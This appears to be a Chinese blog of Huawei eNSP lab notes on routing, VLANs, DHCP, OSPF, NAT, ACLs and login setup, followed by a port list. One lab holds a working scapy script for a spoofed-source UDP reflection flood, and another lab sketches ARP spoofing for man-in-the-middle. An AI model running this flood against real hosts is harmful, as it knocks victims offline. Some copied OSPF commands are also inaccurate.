静态路由实验实验拓扑图实验目的实现静态路由R1和R5进行通信配置命令// R1路由器配置 system-view // 进入系统视图 interface g0/0/0 // 进入接口 ip address 192.168.1.1 24 // 配置ip地址，命令相同配置好其它路由器 //先配置R1到R3 ip route-static 192.168.2.0 24 192.168.1.2 // 指定到 192.168.2.0 从 192.168.1.2 出去 现在我们可以过去了但需要回来所以要在R3里配置 回来的静态路由 ip route-static 192.168.1.0 24 192.168.2.2 // 这是回来的路由配置 命令相同修改下配置下面机个路由器即可 实验效果用户登录实验官方介绍华为的super 命令设置的口令用于低级别用户向高级别用户切换时进行验证，类似于 UNIX 系统和 Linux 系统中从普通用户转换到 root 帐户时须输入 super 进行切换。华为网络设备的命令级别共分为 4 级，分别为访问级（ 0 级）、监控级（ 1 级）、系统级（ 2 级）和管理级（ 3 级），当低级别用户向高级别切换时. 输入命令 super [level]，此时如果设置了super 的password，则只有验证通过后切换才能实现 。super 的口令配置也有明文和暗文两种方式，具体命令为 super password simple ( 明文 ),super password cipher ( 暗文 ) 。如果用户想要实现对通过 console 、 telnet 或 web 方式访问华为交换设备的身份验证，则需要在相应的虚拟端口配置验证信息。(1) console访问 方式：需要在 user-interface con 0 模式下配置 authentication-mode 。(2) ssh、telnet访问 方式：需要在 user-interface vty 0 4 模式下配置 authentication-mode 。(3) web访问 方式：需要启用 web 管理服务，并要有 local-user 配置的用户和密码。console口配置user-interface console 物理接口 // 只有一个 0 ~ 4 默认不认证 vty 虚拟接口 // 自己定义想多少就多少0 默认认证 password 默认的权限是3 //没有修改的情况下 user-interface console 0 // 进入console口 user privilege level 0 // 修改等级 // 完整代码 <Huawei>system-view // 进入系统视图 [Huawei]aaa // 进入3a认证 [Huawei-aaa]local-user jw1201 privilege level 0 password cipher 123456 // 配置两条命令 [Huawei]user-interface console 0 // 进入console [Huawei-ui-console0]authentication-mode aaa // 修改认证模式aaa // 默认的认证模式是不认证 [Huawei-ui-console0]q // 退出 [Huawei]q // 退出 <Huawei>super 3 // 进入等级不够只能使用用户视图，跳到3等级 无密码直接进入 [Huawei-aaa]local-user jw1201 password cipher 123456 [Huawei-ui-console0]authentication-mode aaa // 更改验证模式 配置telnet用Telnet远程进入到交换机的端口中 [Router]user-interface vtycipher 用于对密码加密方式，输入时密码时，命令行不显示密码privilege level 用于给与此用户拥有的权限等级（等级为0-15，15为最高权限）service-type telnet 表示此用户用于Telnet服务创建用户命令：[Router-aaa]local-user 创建的用户名 password cipher 密码权限设置命令：[Router-aaa]local-user 需要修改权限的用户名 privilege level 权限等级[Huawei]user-interface vty 0 1 // 进入虚拟接口 [Huawei-ui-vty0-1]authentication-mode aaa // 修改模式为3a [Huawei-aaa]local-user jw1201 privilege level 3 password cipher 123456// 一行代码设置登录账号密码和等级 [Huawei-aaa]local-user jw1201 service-type telnet // 设置用户服务类型 [Huawei-aaa]q // 退出 [Huawei]telnet server enable // 开启telnet服务配置ssh// 生成rsa密匙：rsa local-key-pair create [server]rsa local-key-pair create // 服务器配置vty用户界面，设置验证方式为aaa，指定协议为ssh [server]user-interface vty 0 4 [server-ui-vty0-4]authentication-mode aaa [server-ui-vty0-4]protocol inbound ssh // 在aaa视图创建ssh用户huawei密码huawei123 [server]aaa [server-aaa]local-user huawei service-type ssh [server-aaa]local-user huawei password cipher huawei123 // 设置ssh用户的认证为密码 [server]ssh user huawei authentication-type password // 开启stelnet服务，默认关闭 server]stelnet server enable [Huawei]dis ssh user-information // 查看是否开启ssh // 接下来在客户端尝试连接 // 第一次登陆需要开启ssh认证 [client]ssh client first-time enable // 连上后，ssh用户的权限连系统视图都无法进入。 // 再给ssh用户huawei增加权限！（当然在添加用户时就可以配置） [server]aaa [server-aaa]local-user huawei privilege level 15 //这里给的最高权限VLAN通信实验实验拓扑图实验目的实现不同vlan之间的通信。首先要知道不同vlan之间的主机是无法实现通信的，所以必须通过三层路由设备进行路由转发才能将报文从一个vlan转发到另一个vlan。vlan技术可以将一个大的局域网划分成多个小局域网，并且隔离了广播域，使不同广播域的用户不能进行通信。有三种方式：路由器物理接口实现路由子接口进行实现VLAN IF技术实现实验步骤1.先手动配置下主机的IP地址子网掩码和默认网关。// 交换机配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-sw1 // 改个名字 [actdream-sw1]undo info-center enable // 关闭提示信息 [actdream-sw1]vlan batch 10 20 // 创建vlan 10 20 [actdream-sw1]int e0/0/2 // 进入e0/0/2接口 [actdream-sw1-Ethernet0/0/2]port link-type access // 配置接口为access [actdream-sw1-Ethernet0/0/2]port default vlan 10 // 配置接口属于vlan10 [actdream-sw1]int e0/0/3 // 进入e0/0/3接口 [actdream-sw1-Ethernet0/0/3]port link-type access // 配置接口为access [actdream-sw1-Ethernet0/0/3]port default vlan 20 // 配置接口属于vlan20 [actdream-sw1]int e0/0/1 // 进入e0/0/1接口 [actdream-sw1-Ethernet0/0/1]port link-type trunk // 配置接口为trunk [actdream-sw1-Ethernet0/0/1]port trunk allow-pass vlan all // 允许所有的vlan通过 // 路由器配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar1 // 改个名字 [actdream-ar1]int g0/0/0.1 // 进入子接口 [actdream-ar1-GigabitEthernet0/0/0.1]ip add 192.168.1.254 24 // 给子接口配置ip地址 [actdream-ar1-GigabitEthernet0/0/0.1]dot1q termination vid 10 // 封装下给vlan10 [actdream-ar1-GigabitEthernet0/0/0.1]arp broadcast enable // 开启arp广播功能 [actdream-ar1]int g0/0/0.2 // 进入子接口 [actdream-ar1-GigabitEthernet0/0/0.2]ip add 192.168.2.254 24 // 给子接口配置ip地址 [actdream-ar1-GigabitEthernet0/0/0.2]dot1q termination vid 20 // 封装下给vlan20 [actdream-ar1-GigabitEthernet0/0/0.2]arp broadcast enable // 开启arp广播功能2.配置好了尝试PC1 ping PC2 可以看见是能通信的。实验效果RIP动态路由实验实验拓扑图实验目的实现动态路由不同网段间的通信。rip协议，通过启用rip协议，路由器可以更好的学习相邻的路由表，更好的适应多变且庞大的网络环境。实验步骤1.先手动配置下主机的IP地址子网掩码和默认网关。// 路由器ar1配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar1 // 改个名字 [actdream-ar1]int g0/0/1 // 进入接口 [actdream-ar1-GigabitEthernet0/0/1]ip add 192.168.1.254 24 // 配置网关地址 [actdream-ar1-GigabitEthernet0/0/1]int g0/0/0 // 进入接口 [actdream-ar1-GigabitEthernet0/0/0]ip add 192.168.3.1 24 // 配置R1与R2路由器通信的ip [actdream-ar1]rip // 启用rip [actdream-ar1-rip-1]network 192.168.1.0 // 宣告网段 [actdream-ar1-rip-1]network 192.168.3.0 // 宣告网段 // 路由器ar2配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar2 // 改个名字 [actdream-ar2]int g0/0/1 [actdream-ar2-GigabitEthernet0/0/1]ip add 192.168.2.254 24 // 配置网关地址 [actdream-ar2]int g0/0/0 // 进入接口 [actdream-ar2-GigabitEthernet0/0/0]ip add 192.168.3.2 24 // 配置R2与R1路由器通信的ip [actdream-ar2]rip // 启用rip [actdream-ar2-rip-1]network 192.168.3.0 // 宣告网段 [actdream-ar2-rip-1]network 192.168.2.0 // 宣告网段实验效果PC相同IP MAC实验这种情况基本不可能有的，局域网内不可能有相同的IP和MAC，当然要是有人想改那就不一样了，对了就是改IP地址和MAC地址，一开始我在想会发生什么，直到我实验了下发现都能通信！！在Windows上改IP和MAC都是自带的，网上也有很多这样的工具。实验拓扑实验步骤1.三台PC机我都手动配置了IP地址，接下来就到交换机看一下。2.到交换机的终端面板，进入视图输入 dis mac-add 查看交换机的mac缓存表，什么都没有，那是因为我们还没ping 对方，所以并不会广播寻找对方就没有mac缓存表了。3.现在我们用PC3 ping PC2，交换机就会用ARP协议广播问谁是192.168.10.1 请把你的mac地址告诉我，这个时候是192.168.10.1的主机就会把mac给交换机，然后交换机建立mac表，进行通信。4.这个时候我们查交换机的mac表，就会多出两条mac地址。5.我把两台PC机的mac和ip改成相同的，两台PC机同时ping PC2，观察抓包和交换机的mac地址表的变化。6.可以发现两台PC电脑都是可以通信的，要是刷新交换机mac地址显示的话，你会发现接口一下变成e0/0/1接口一下又变成e0/0/3接口，这说明交换机两边都在回应，但这样也不影响我们通信，最多会掉一个包，看视频什么的没任何压力，玩游戏的话有可能会卡一下吧。总结如果内网出现大量的PC伪装成一台电脑的IP和mac，会导致对方的包不断回复给别的主机，导致对方PC断网（自己的想法）。ARP协议这款缺陷比较大，利用好直接玩转局域网，像上面的广播问谁是192.168.10.1 这个时候，要是别人一直发响应包给交换机，说我就是PC2 mac地址是这个，那么别人就会找伪装成PC2与你通信，欺骗网关还能当中间人对吧，流量都从你的电脑经过。DHCP地址分配实验DHCP代理通过三层交换机做中继，获取路由器上dhcp IP地址池，分发给下面的PC机，个人理解有误请指正。实验拓扑实验步骤// AR1 配置 sys // 进入系统模式 dhcp enable // 开启dhcp ip pool vlan10 // 创建vlan10 ip地址池 network 192.168.10.0 mask 24 gateway-list 192.168.10.254 dns-list 8.8.8.8 ip pool vlan20 // 创建vlan20 ip地址池 network 192.168.20.0 mask 24 gateway-list 192.168.20.254 dns-list 8.8.8.8 int g0/0/0 // 配置接口ip ip add 192.168.80.2 26 dhcp select global // 开启全局dhcp ip route-static 0.0.0.0 0 192.168.80.1 // 添加一条静态路由1.先全部设备都开机，好了进路由器配置下dhcp ip地址池，给G0/0/0配置IP地址。// LSW2 配置 sys // 进入系统视图 dhcp enable // 开启dhcp vlan batch 10 20 50 // 创建vlan int vlan 10 // 进入vlan10 ip address 192.168.10.254 255.255.255.0 // 配置分发的ip dhcp select relay // 模式选择relay dhcp relay server-ip 192.168.80.2 // 指定的ip是 g0/0/0 接口上配置的ip int vlan 20 // 相同给vlan20 也配上 ip address 192.168.20.254 255.255.255.0 dhcp select relay dhcp relay server-ip 192.168.80.2 int vlan 50 // 再进入vlan50 配置ip要和g0/0/0接口配置的ip在一个网段内才行。 ip add 192.168.80.1 26 int g0/0/2 // 进入接口 port link-type trunk // 配置接口类型 trunk port trunk allow-pass vlan all // 允许所有vlan通过2.再到三层交换机LSW2上配置下中继，给 g0/0/2 接口配置 trunk 模式。// LSW1 配置 sys // 进入系统模式 int g0/0/1 // 配置g0/0/1 与 g0/0/2 一致使用trunk port link-type trunk // 配置接口类型 trunk port trunk allow-pass vlan all // 允许所有vlan通过 int g0/0/2 // 交换机下的接口都配置成access模式就行 port link-type access // 配置接口类型 access port default vlan 10 // 把vlan10加入接口 int g0/0/3 port link-type access // 配置接口类型 access port default vlan 20 // 把vlan20加入接口3.到这里就已经可以自动分配ip地址了，我们到pc机上把dhcp打开让它自动获取。效果1.查看ip地址都有，现在双方都ping一下，可以看到两台PC都可以互相通信的。DHCP分配最简单的dhcp自动分配地址，用接口配置的网关进行分配。实验拓扑实验步骤sys // 进入系统视图 dhcp enable // 开启dhcp功能 int g0/0/0 // 进入接口 ip add 192.168.10.254 24 // 配置默认网关 dhcp select interface // 选择dhcp接口分配1.到路由器设置下dhcp服务，让他充当dhcp服务器，往下面分配ip地址。2.现在到PC机上设置自动获取，这个时候就可以拿到地址了。3.我们看一下获取成功，这是最简单的一种办法了。OSPF路由实验OSPF相关知识OSPF一种动态路由协议，能动态学习到其他网段的路由。1.无环路：区域内部采用树形算法；区域间采用星型拓扑2.收敛快：相比于其他路由协议能更快速的收敛网络3.扩展性好：当网络规模扩大的时候， OPSF支持多区域可以将一些设备划分在一个区域4.支持认证：增加了网络的安全性实验拓扑实验步骤// AR2 配置 sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 192.168.10.254 24 // 配置192.168.10.1网段的路由网关 int g0/0/0 // 进入接口 ip add 200.10.20.1 24 // 配置 AR2路由器 与 AR3 之间通信的ip地址 （要在同一网段）// AR3 配置 sys // 进入系统视图 int g0/0/0 // 进入接口 ip add 200.10.20.2 24 // 配置 AR3路由器 与 AR2 之间通信的ip地址 int g0/0/1 ip add 200.10.30.1 24 // 配置 AR3路由器 与 AR4 之间通信的ip地址 （要在同一网段）// AR4 配置 sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.30.2 24 // 配置 AR4路由器 与 AR3 之间通信的ip地址 int g0/0/2 // 进入接口 ip add 192.168.20.254 24 // 配置192.168.20.1网段的路由网关1.我先把路由器的ip地址和pc的ip地址都配置一下，pc机的网关要填对哦。// AR2 配置 ospf // 进入ospf area 0 // 区域设置0 network 192.168.10.0 0.0.0.255 // 看AR2路由器有两个线一头是 192.168.10.254 network 200.10.20.0 0.0.0.255 // 另一头是 200.10.20.0 直接进行宣告就行// AR3 配置 // 下面的操作都是一样的，改下宣告的网段就行 ospf area 0 network 192.168.10.0 0.0.0.255 network 200.10.20.0 0.0.0.255// AR4 配置 ospf area 0 network 192.168.10.0 0.0.0.255 network 200.10.20.0 0.0.0.2552.现在到路由器里配置ospf，进入ospf视图里用 network 命令宣告网段，这里填的是网段加子网掩码的反码，到这里就已经配置好了ospf路由了，可以在路由器里用效果1.测试下能不能ping通对方，可以看到都是没问题的。链路聚合实验简介链路聚合的作用 ：把多个物理接口绑定成一个逻辑接口，对于带宽何链路的可靠性做提升，若其中一端口出现故障，则该成员端口的流量就会切换到成员链路中去。保障了网络传输的可靠性。简单来说就是多连两根线，把这些线都绑定到一个逻辑接口上，要是其中有一条线出问题了，那么另外一条线就会自动补上，不影响网络的通信。实验拓扑实验步骤// LSW5 配置 sys int eth-trunk 1 mode lacp-static max active-linknumber 2 int e0/0/1 eth-trunk 1 int e0/0/2 eth-trunk 1 int e0/0/3 eth-trunk 1 // LSW6 配置 （相同的） sys int eth-trunk 1 mode lacp-static max active-linknumber 2 int e0/0/1 eth-trunk 1 int e0/0/2 eth-trunk 1 int e0/0/3 eth-trunk 11.先到交换机上配置下链路聚合，把它加到这三根线上。2.配置好再到交换机用 dis trunkmembership eth-trunk 1 这条命令看下状态，可以看到有两条线是开的，一条线是关的。int e0/0/2 // 进入e0/0/2接口 shutdown // 关闭接口 undo shutdown // 启动接口3.我们尝试关闭e0/0/2接口，看看e0/0/3会不会自动补上，进入e0/0/2 输入shutdown 接口就关闭了，和我想的一样自动补上了，看到e0/0/3 状态从down 切换到了 up 状态。效果1.关掉了其中一个接口，没有影响到他们的的通信，一个包都没丢。端口安全实验简介简单来说在公司的网络环境中，为了防外部人员接入公司内部网络，在交换机上给端口都绑定上指定PC的Mac地址，防止非法计算机接入。实验拓扑实验步骤1.PC机上我都手动配置好了IP地址，现在用PC机互相Ping让交换机学习下Mac地址建立mac表。2.到交换机使用 dis mac-add 查看mac地址表，发现三台PC机都有了。3.这里为了演示我就给PC1绑定下MAC地址，其他的PC都是一样的操作。sys // 进入系统视图 int e0/0/1 // 进入接口 port-security enable // 开启端口安全 port-security mac-address sticky port-security mac-address sticky 5489-9865-40F1 vlan 1 // 绑定mac4.没改PC1 Mac地址 尝试 ping PC2，毫无疑问是可以通信的。5.现在改下Pc1的mac地址，看下能不能通信。6.改完之后很显然是不能通信实验成功。VLAN隔离实验简介简单的来说，IP地址是否属于同一子网络是根据子网掩码来决定的，如果两台PC的IP地址是一个网段的话那么可以正常通信，要是我想实现一个网段的但又不想让他们互相通信，那怎么办呢这里就要用到vlan技术了，他可以实现对IP逻辑上的隔离。实验拓扑实验步骤1.比较简单，这里就全设置了下创建了两个vlan 10 和 20， 并把vlan加入四台PC机指定的端口上。sys // 进入系统视图 vlan batch 10 20 // 批量创建vlan interface Ethernet0/0/1 port link-type access // 模式改成 access port default vlan 10 // 把vlan10加入接口里 interface Ethernet0/0/2 port link-type access // 模式改成 access port default vlan 10 // 把vlan10加入接口里 interface Ethernet0/0/3 port link-type access // 模式改成 access port default vlan 20 // 把vlan20加入接口里 interface Ethernet0/0/4 port link-type access // 模式改成 access port default vlan 20 // 把vlan20加入接口里2.PC1 ping PC2 可以发现是通的，他们是属于vlan 10 的所以可以，要是PC1 ping PC3 就不行了。 3.这就是vlan的隔离，不配置vlan 是可以通信的，因为是一个网段的。动态NAT实验简介简单来说，当我们访问公网某台服务器时，我们内网IP要从路由器出去利用NAT技术，将内网IP转换为公网IP进行访问，当数据到达公网的服务器上给我们做返回，就会把数据发给转换的公网地址，让他找到内网发数据的主机传达给他，这样就实现了内网和外网的通信，IPv4本来已经枯竭了，就是有这项技术还是在用IPv4。实验拓扑实验步骤1.老规矩先手动配置下PC机的IP地址好通信。2.上AR2路由器上配置两端的接口，让路由器之间可以互相通信。sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.10.2 24 // 给公网接口添加IP地址 int g0/0/0 // 进入接口 ip add 192.168.10.254 24 // 给内网接口添加IP地址3.再配置下OSPF宣告一下网段，让他们之间可以通信。（我的思路是这样）ospf // 进入ospf area 0 // 区域设置 0 network 192.168.10.0 0.0.0.255 // 宣告内网网段 network 200.10.10.0 0.0.0.25 // 宣告公网网段4.配置好了OSPF就可以通信了，但这里出去的地址是内网地址，我们抓包看下ICMP出去的IP地址。5.可以看到出路由器的地址是内网IP，在现实环境中那是不可能的，所以这里要做动态NAT地址转换。nat address-group 1 200.10.10.3 200.10.10.10 // 创建地址组 设置公网分配范围 acl 2000 // 进入基本acl rule permit source 192.168.10.0 0.0.0.255 // 创建规则 int g0/0/1 // 进入接口 nat outbound 2000 address-group 1 no-pat // 把出口 200与ip组绑定 配置在接口上6.配置好再抓包ping 公网发现内网IP转换为公网IP地址了。静态NAT实验简介简单来说就是内网有一台服务器或者多台，需要让公网访问的到这时就要用到静态NAT技术把内网映射到公网上。实验拓扑实验步骤1.老规矩先手动配置下服务器和PC机的IP地址 好进行通信，这里的标签我写错了AR3下面G0/0/0，现改成 200.10.20.254。2.先到AR2路由器里配置下两端的IP地址，加上OSPF建立下邻居关系。sys // 进入系统视图 int g0/0/0 // 进入接口 ip add 200.10.10.2 24 // 添加IP地址 int g0/0/1 ip add 192.168.10.254 24 int g0/0/2 ip add 8.8.8.1 24 ospf // 进入ospf area 0 // 区域设置0 network 192.168.10.0 0.0.0.255 // 宣告网段 network 200.10.10.0 0.0.0.25 network 8.8.8.0 0.0.0.2553.然后再到AR3路由器里配置下，接口通信的IP地址，加上OSPF宣告下网段。sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.10.1 24 // 配置ip地址 ospf area 0 network 200.10.10.0 0.0.0.255 network 200.10.20.0 0.0.0.2554.配置好基本上内网服务器能ping通外网了，现在给AR2路由器做下静态NAT。5.再到dns服务器上，添加下内网服务器映射的公网IP与域名进行绑定，好了之后记得把服务器都启动起来。6.再去 Client1上配置好DNS地址，可以自己测试 ping dns 看看能不能通信。7.全都配置好后，就可以获取内网服务器的服务数据了。ACL访问控制实验简介ACL是访问控制列表，它是一种包过滤防火墙，路由器和交换机接口的指令列表，有了它可以实现数据包出入的控制，它分为基本acl和高级acl，这里就实现个基本acl。实验拓扑实验步骤1.手动配置下IP地址和网关，这样才可以进行通信。2.进入AR1路由器给两边的接口，配置下IP地址先然后它们就可以通信了。3.有PC1 ping PC2 发现是可以通信的，接下来配置下基本acl阻止PC1与PC2之间的通信。acl 2000 // 配置基本acl rule 15 deny source 192.168.10.0 0.0.0.255 int g0/0/0 // 进入接口 traffic-filter outbound acl 2000 // 配置出站过滤4.配置好acl，在里面添加网段 192.168.10.0，阻止这所有的主机，当然也可以指定IP地址了。5.配置好后尝试ping，发现不能通信了实验成功。FTP文件上传实验简介FTP服务器，是在互联网上提供存储空间的计算机，它们依照FTP协议提供服务，全称是File Transfer Protocol(文件传输协议)，简单的来说，就是一台服务器专门用存储文件的也可以用来共享。实验拓扑实验步骤1.老规矩先手动配置下IP地址，这样才能通信。2.再配置下路由器旁边的接口ip地址。int g0/0/0 // 进入接口 ip add 192.168.2.254 24 // 配置FTP服务器网关 int g0/0/1 // 进入接口 ip add 192.168.3.254 24 // 配置设备网关3.再到FTP服务器设置面板，选择文件路径并开启FTP服务器。4.好了之后，使用Client1 ping ftp服务器看看能不能通信，可以看到是可以的。ftp 192.168.2.3 User(192.168.2.3:(none)):act // 第一次会让你配置下账号密码 331 Password required for act . Enter password: // 输入密码5.再回到路由器连接下FTP服务器，配置下账号和密码。6.然后输入在路由器更改的账号和密码，用设备进行登录就成功了，就可以上传文件和下载文件了。UDP反射攻击实验简介UDP 反射攻击的基本原理是，攻击者发送伪造的 UDP 请求数据包到反射主机，并将源 IP 地址伪造为受害主机的地址，反射主机接收请求后，会将数据包转发给受害主机，这样就能对受害主机进行拒绝服务攻击，当然你可以批量的反射那么就有多台主机进行攻击。实验拓扑这里只是拿eNSP打个比方，服务并没开UDP 53端口，所以攻击不成立，对方必须开启UDP 端口，你才能进行反射攻击。通过发起攻击抓包可以发现，反射的 1.2 PC 与 1.4 主机，都进行发送响应给 1.3 PC 主机，实验目的达成。UDP反射代码import threading from scapy.all import * payload = '0' * 1400 # 构造一个长度为 1400 字节的字符串 def send_packet(src_ip): packet = IP(src="192.168.1.3", dst=src_ip) / \ UDP(dport=53, sport=RandShort()) / \ Raw(load=payload) send(packet) hosts = ["192.168.1.2", "192.168.1.4"] while True: for src_ip in hosts: t = threading.Thread(target=send_packet, args=(src_ip,)) t.start() t.join()
NAT知识国内网络环境被称为 “大内网”，原因如下： IPv4地址耗尽： IPv4地址资源已经用尽，无法为每台设备分配独立的公网IP。NAT技术的作用： NAT（网络地址转换）技术通过将内网IP地址转换为公网IP，实现设备访问外网。 路由器充当中介，负责内网到公网的地址和端口映射，从而支持更多设备共享少量公网IP。 内网设备通信需求： PC1和PC2位于同一内网，要访问外网服务器的Web服务，必须通过NAT转换和PAT端口映射。 NAT转换过程： PC2发送的数据到达路由器后，路由器将其内网IP转换为公网IP，并随机分配一个端口号。 路由器在NAT表中记录内网IP与端口的映射关系，从而允许PC2访问公网服务器，服务器返回的数据则通过映射回到内网设备。 NAT的弊端： 通信必须基于连接。一旦连接断开，路由器会释放NAT表中的映射关系。 此时，服务器无法再主动发送数据给PC2，数据包会被路由器判定为无效，从而无法接收，导致只能发起外部访问，不能接收外部主动请求。 部分解决方法： 例如，通过内网映射将公网IP绑定到内网设备，并保持监听状态，能一定程度上解决这个问题，但会带来更多管理复杂性与资源开销。内网穿透原理（简单版）需要中心服务器内网穿透需要一个中心服务器（Server）作为中转站，PC1和PC2先和Server建立连接。互相获取通信信息Server记录PC1和PC2的公网IP和端口信息（假设端口是100）。两台设备通过Server的转发，知道了彼此的IP和端口。直接通信（锥型NAT情况下）PC1直接向PC2的100端口发送连接请求，PC2回应后，两台设备就建立了UDP连接，可以绕过中心服务器直接通信。弊端如果两台设备的通信必须经过Server中转，速度会受限。比如：PC1和PC2带宽都是100M，但Server只有10M，那两者的传输速率最多只有5M。如果能实现直接通信（P2P），效率更高，但需要网络条件支持。简单来说，内网穿透就是用一个中转服务器让两台内网设备先“认识对方”，然后尝试直接通信。如果直接通信不行，就只能依赖中转，速度受限制。
【网络通信】计算机端口大全( 计算机基础 )
端口类型1、公认端口（Well-KnownPorts）：范围从0到1023。 2、动态端口（Dynamic Ports）：范围从1024到65535。 3、注册端口（RegisteredPorts）：从1024到49151。 4、动态和/或私有端口（Dynamicand/orPrivatePorts）：从49152到65535。{collapse}{collapse-item label="端口大全"}0端口：无效端口,通常用于分析操作系统 1端口：传输控制协议端口服务多路开关选择器 2端口：管理实用程序 3端口：压缩进程 5端口：远程作业登录 7端口：回显 9端口：丢弃 11端口：在线用户 13端口：时间 17端口：每日引用 18端口：消息发送协议 19端口：字符发生器 20端口：FTP文件传输协议(默认数据口) 21端口：FTP文件传输协议(控制) 22端口：SSH远程登录协议 23端口：telnet(终端仿真协议),木马Tiny Telnet Server开放此端口 24端口：预留给个人用邮件系统 25端口：SMTP服务器所开放的端口，用于发送邮件 27端口：NSW 用户系统 FE 29端口：MSG ICP 31端口：MSG验证,木马Master Paradise、HackersParadise开放此端口 33端口：显示支持协议 35端口：预留给个人打印机服务 37端口：时间 38端口：路由访问协议 39端口：资源定位协议 41端口：图形 42端口：主机名服务 43端口：who is服务 44端口：MPM(消息处理模块)标志协议 45端口：消息处理模块 46端口：消息处理模块(默认发送口) 47端口：NI FTP 48端口：数码音频后台服务 49端口：TACACS登录主机协议 50端口：远程邮件检查协议 51端口：IMP(接口信息处理机)逻辑地址维护 52端口：施乐网络服务系统时间协议 53端口：dns域名服务器 54端口：施乐网络服务系统票据交换 55端口：ISI图形语言 56端口：施乐网络服务系统验证 57端口：预留个人用终端访问 58端口：施乐网络服务系统邮件 59端口：预留个人文件服务 60端口：未定义 61端口：NI邮件 62端口：异步通讯适配器服务 63端口：whois++ 64端口：通讯接口 65端口：TACACS数据库服务 66端口：Oracle SQL*NET 67端口：引导程序协议服务端 68端口：引导程序协议客户端 69端口：小型文件传输协议 70端口：信息检索协议 71端口：远程作业服务 72端口：远程作业服务 73端口：远程作业服务 74端口：远程作业服务 75端口：预留给个人拨出服务 76端口：分布式外部对象存储 77端口：预留给个人远程作业输入服务 78端口：修正TCP 79端口：查询远程主机在线用户等信息 80端口：http,用于网页浏览,木马Executor开放此端口 81端口：HOST2名称服务 82端口：传输实用程序 83端口：模块化智能终端ML设备 84端口：公用追踪设备 85端口：模块化智能终端ML设备 86端口：Micro Focus Cobol编程语言 87端口：预留给个人终端连接 88端口：Kerberros安全认证系统 89端口：SU/MIT telnet(终端仿真网关) 90端口：DNSIX 安全属性标记图 91端口：MIT Dover假脱机 92端口：网络打印协议 93端口：设备控制协议 94端口：Tivoli对象调度 96端口：DIXIE协议规范 97端口：快速远程虚拟文件协议 98端口：TAC新闻协议 99端口：后门程序ncx99开放此端口 100端口：未知用途 101端口：NIC 主机名称服务 102端口：消息传输代理 103端口：Genesis 点对点传输网络 105端口：信箱名称服务 106端口：3COM-TSMUX开放端口 107端口：远程Telnet服务 108端口：SNA 网关访问服务 109端口：POP2服务器开放此端口,用于接收邮件 110端口：POP3服务器开放此端口,用于接收邮件 111端口：SUN公司的RPC服务所有端口 112端口：McIDAS 数据传输协议 113端口：认证服务，用于鉴别TCP连接的用户 114端口：音频新闻多点服务 115端口：简单文件传输服务 116端口：ANSA REX 通知 117端口：UUCP 路径服务 118端口：SQL 服务 119端口：NEWS新闻组传输协议，承载USENET通信 121端口：木马BO jammerkillahV开放端口 122端口：SMAKY网络 123端口：网络时间协议，蠕虫病毒会利用，一般关闭 128端口：GSS X许可认证 129端口：密码生成器协议 130端口：Cisco软件开放端口 131端口：Cisco软件开放端口 132端口：Cisco软件开放端口 133端口：统计服务 134端口：INGRES-网络服务 135端口：DCOM服务，冲击波病毒利用，不能关闭 136端口：命名系统 137端口：NETBIOS协议应用，为共享开放 138端口：NETBIOS协议应用，为共享开放 139端口：NETBIOS协议应用，为共享开放 140端口：EMFIS数据服务 141端口：EMFIS控制服务 143端口：Interim邮件访问协议 144端口：UMA软件开放端口 145端口：UAAC协议 149端口：AED 512仿真服务 150端口：SQL(结构化查询语言)-网络 152端口：后台文件传输协议 156端口：SQL(结构化查询语言)服务 158端口：PC邮件服务器 159端口：NSS-路由 160端口：SGMP-陷阱 161端口：简单网络管理协议 162端口：SNMP陷阱 163端口：CMIP/TCP 管理 164端口：CMIP/TCP 代理 166端口：Sirius系统 169端口：发送 170端口：网络附言 177端口：x显示管理控制协议，入侵者通过它访问X-windows操作台 178端口：NextStep Window 服务 179端口：边界网关协议 180端口：图表 181端口：统一 184端口：OC服务器 185端口：远程-KIS 186端口：KIS 协议 187端口：应用通信接口 189端口：队列文件传输 190端口：网关进入控制协议 191端口：Prospero 目录服务 192端口：OSU 网络监视系统 193端口：Spider 远程控制协议 194端口：多线交谈协议 197端口：目录地址服务 198端口：目录地址服务监视器 200端口：IBM系统资源控制器 201端口：AppleTalk(Mac机所用的网络协议)路由保证 202端口：AppleTalk(Mac机所用的网络协议)Name Binding 203端口：AppleTalk(Mac机所用的网络协议)未用端口 204端口：AppleTalk(Mac机所用的网络协议)回显 205端口：AppleTalk(Mac机所用的网络协议)未用端口 206端口：AppleTalk(Mac机所用的网络协议)区信息 207端口：AppleTalk(Mac机所用的网络协议)未用端口 208端口：AppleTalk(Mac机所用的网络协议)未用端口 209端口：快速邮件传输协议 210端口：ANSI(美国国家标准协会)Z39.50 211端口：Texas Instruments 914C/G终端 213端口：IPX(以太网所用的协议) 218端口：Netix消息记录协议 219端口：Unisys ARPs 220端口：交互邮件访问协议 v3 223端口：证书分发中心 224端口：masq拨号器 241端口：预留端口 (224-241) 245端口：链接 246端口：显示系统协议 257端口：安全电子交易系统 258端口：Yak Winsock 个人聊天 259端口：有效短程遥控 260端口：开放端口 261端口：IIOP 基于TLS/SSL的命名服务 266端口：SCSI(小型计算机系统接口)on ST 267端口：Tobit David服务层 268端口：Tobit David复制 281端口：个人连结 282端口：Cable端口A/X 286端口：FXP通信 308端口：Novastor备份 313端口：Magenta逻辑 318端口：PKIX时间标记 333端口：Texar安全端口 344端口：Prospero数据存取协议 345端口：Perf分析工作台 346端口：Zebra服务器 347端口：Fatmen服务器 348端口：Cabletron管理协议 358端口：Shrink可上网家电协议 359端口：网络安全风险管理协议 362端口：SRS发送 363端口：RSVP隧道 372端口：列表处理 373端口：Legend公司 374端口：Legend公司 376端口：AmigaEnvoy网络查询协议 377端口：NEC公司 378端口：NEC公司 379端口：TIA/EIA/IS-99调制解调器客户端 380端口：TIA/EIA/IS-99调制解调器服务器 381端口：hp(惠普)性能数据收集器 382端口：hp(惠普)性能数据控制节点 383端口：hp(惠普)性能数据警报管理 384端口：远程网络服务器系统 385端口：IBM应用程序 386端口：ASA信息路由器定义文件. 387端口：Appletalk更新路由. 389端口：轻型目录访问协议 395端口：网络监视控制协议 396端口：Novell(美国Novell公司)Netware(Novell公司出的网络操作系统)over IP 400端口：工作站解决方案 401端口：持续电源 402端口：Genie协议 